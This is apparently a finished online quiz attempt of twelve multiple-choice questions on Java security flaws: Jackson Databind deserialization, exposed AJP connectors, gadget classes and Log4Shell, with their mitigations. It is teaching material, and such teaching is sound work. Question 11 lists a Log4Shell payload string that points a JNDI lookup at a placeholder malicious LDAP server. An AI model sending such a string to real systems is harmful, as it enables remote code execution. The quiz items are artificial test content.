Started on	Wednesday, 19 March 2025, 4:37 PM
State	Finished
Completed on	Wednesday, 19 March 2025, 4:42 PM
Time taken	4 mins 18 secs
Marks	12.00/12.00
Grade	**100.00** out of 100.00

Question 1

Complete

Mark 1.00 out of 1.00

How can an attacker exploit the Jackson Databind vulnerability?

- a. By passing a URL that bypasses authentication checks
- b. By injecting SQL queries into the serialized JSON
- c. By sending a JSON payload containing dangerous `@type` metadata
- d. By exploiting weak encryption in the JSON keys

Question 2

Complete

Mark 1.00 out of 1.00

How can the risk associated with AJP be mitigated?

- a. Upgrading to the latest version of Java
- b. Using a different logging library
- c. Disabling HTTPS and using HTTP only
- d. Restricting AJP traffic to trusted hosts and setting a secret

Question 3

Complete

Mark 1.00 out of 1.00

What caused the Jackson Databind deserialization vulnerability?

- a. A flaw in the handling of polymorphic types
- b. The absence of any type handling logic
- c. Insufficient logging mechanisms
- d. The use of outdated cryptographic algorithms

Question 4

Complete

Mark 1.00 out of 1.00

What configuration change can help prevent Log4Shell attacks?

a. Disabling log rotation in Log4j
b. Using a firewall to block all incoming traffic
c. Setting `log4j2.formatMsgNoLookups=true`
d. Increasing the logging level to DEBUG

Question 5

Complete

Mark 1.00 out of 1.00

What is a gadget class in the context of deserialization vulnerabilities?

a. A class that logs all serialization and deserialization events
b. A class that implements only the `Serializable` interface without methods
c. A utility class that simplifies JSON handling
d. A class that can be exploited during deserialization to perform unintended actions

Question 6

Complete

Mark 1.00 out of 1.00

What is one major security risk of exposing an AJP connector to the internet?

a. It causes encryption keys to be logged in plain text.
b. It makes the application vulnerable to Cross-Site Scripting (XSS).
c. It can allow attackers to perform DNS cache poisoning.
d. It can lead to remote code execution through deserialization exploits.

Question 7

Complete

Mark 1.00 out of 1.00

What is the primary mitigation for the Jackson deserialization vulnerability?

a. Using prepared statements for database queries
b. Upgrading to a patched version of Jackson and whitelisting allowed types
c. Switching to XML instead of JSON
d. Disabling all JSON handling in the application

Question 8

Complete

Mark 1.00 out of 1.00

What made the Log4Shell vulnerability (CVE-2021-44228) possible?

- a. Improper token validation in Log4j
- b. A remote code execution flaw in the JNDI lookup feature
- c. Unpatched vulnerabilities in the LDAP server
- d. A lack of secure password storage in Log4j

Question 9

Complete

Mark 1.00 out of 1.00

What role does the AJP connector play in a Tomcat-based application?

- a. It acts as a database connection pool manager.
- b. It is responsible for TLS encryption of all HTTP requests.
- c. It serves as a bridge between a web server and Tomcat for request forwarding.
- d. It handles file uploads from the client.

Question 10

Complete

Mark 1.00 out of 1.00

What type of action might a gadget class perform when deserialized?

- a. Automatically compress large objects in memory
- b. Automatically hash all fields using SHA-256
- c. Send email alerts to the system administrator
- d. Write files or execute code without explicit calls from the application

Question 11

Complete

Mark 1.00 out of 1.00

Which input could trigger the Log4Shell vulnerability?

- a. `{ "username": "admin", "password": "password123" }`
- b. `GET /login HTTP/1.1`
- c. `<script>alert('XSS')</script>`
- d. `${jndi:ldap://malicious-server.com/a}`

Question 12

Complete

Mark 1.00 out of 1.00

Why are gadget classes often found in common libraries?

a. Common libraries are more likely to be open source and freely available.
b. Common libraries are more frequently updated and include additional features.
c. Common libraries are written in older programming languages.
d. Common libraries often include reusable classes with methods that may be automatically invoked during deserialization.